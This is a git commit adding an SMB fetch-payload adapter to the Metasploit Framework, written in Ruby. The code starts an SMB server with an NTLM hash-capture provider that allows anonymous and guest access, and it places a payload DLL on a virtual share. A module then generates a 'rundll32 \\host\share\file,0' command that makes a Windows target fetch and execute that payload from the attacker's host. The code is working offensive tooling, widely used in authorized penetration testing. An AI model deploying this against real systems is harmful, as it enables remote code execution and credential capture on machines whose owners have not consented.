Initial SMB server for fetch payloads

This commit is contained in:
Spencer McIntyre 2024-01-04 14:11:03 -05:00
parent b5906418c2
commit 96316a94fe
3 changed files with 146 additions and 0 deletions

View File

@ -0,0 +1,68 @@
module Msf::Payload::Adapter::Fetch::Server::SMB
include ::Msf::Exploit::Remote::SMB::LogAdapter
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
def start_smb_server(srvport, srvhost)
vprint_status("Starting SMB server on #{Rex::Socket.to_authority(srvhost, srvport)}")
log_device = LogDevice::Framework.new(framework)
logger = Logger.new(self, log_device)
ntlm_provider = Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider.new(
allow_anonymous: true,
allow_guests: true,
listener: self,
ntlm_type3_status: nil
)
fetch_service = Rex::ServiceManager.start(
Rex::Proto::SMB::Server,
srvport,
srvhost,
{
'Msf' => framework,
'MsfExploit' => self,
},
_determine_server_comm(srvhost),
gss_provider: ntlm_provider,
logger: logger
)
fetch_service.on_client_connect_proc = Proc.new { |client|
on_client_connect(client)
}
fetch_service
end
def cleanup_smb_fetch_service(fetch_service)
fetch_service.remove_share(@fetch_virtual_disk)
fetch_service.deref
end
def fetch_protocol
'SMB'
end
def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe)
unless srvuri.include?('\\')
raise RuntimeError, 'The srvuri argument must include a share name'
end
share_name, _, share_path = srvuri.partition('\\')
fetch_service = start_smb_server(srvport, srvhost)
if fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}\n#{e}")
end
@fetch_virtual_disk = RubySMB::Server::Share::Provider::VirtualDisk.new(share_name)
# the virtual disk expects the path to use the native File::SEPARATOR so normalize on that here
@fetch_virtual_disk.add_static_file(share_path, srvexe)
fetch_service.add_share(@fetch_virtual_disk)
fetch_service
end
end

View File

@ -0,0 +1,42 @@
module Msf::Payload::Adapter::Fetch::SMB
include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::SMB
def initialize(*args)
super
register_options(
[
Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/),
]
)
end
def fetch_protocol
'SMB'
end
def cleanup_handler
if @fetch_service
cleanup_smb_fetch_service(@fetch_service)
@fetch_service = nil
end
super
end
def setup_handler
@fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", @srvexe)
super
end
def unc
path = "\\\\#{srvhost}"
path << "\\#{srvuri.gsub('/', "\\").chomp("\\")}"
path << "\\#{datastore['FETCH_FILENAME']}" if datastore['FETCH_FILENAME'].present?
path
end
end

View File

@ -0,0 +1,36 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter::Fetch::SMB
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMB Fetch',
'Description' => 'Fetch and execute an x64 payload from an SMB server.',
'Author' => 'Spencer McIntyre',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X64,
'AdaptedPlatform' => 'win'
)
)
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR')
end
def srvport
445 # UNC paths for SMB services *must* be 445
end
def generate_fetch_commands
"rundll32 #{unc},0"
end
# generate a DLL instead of an EXE
alias generate_payload_exe generate_payload_dll
end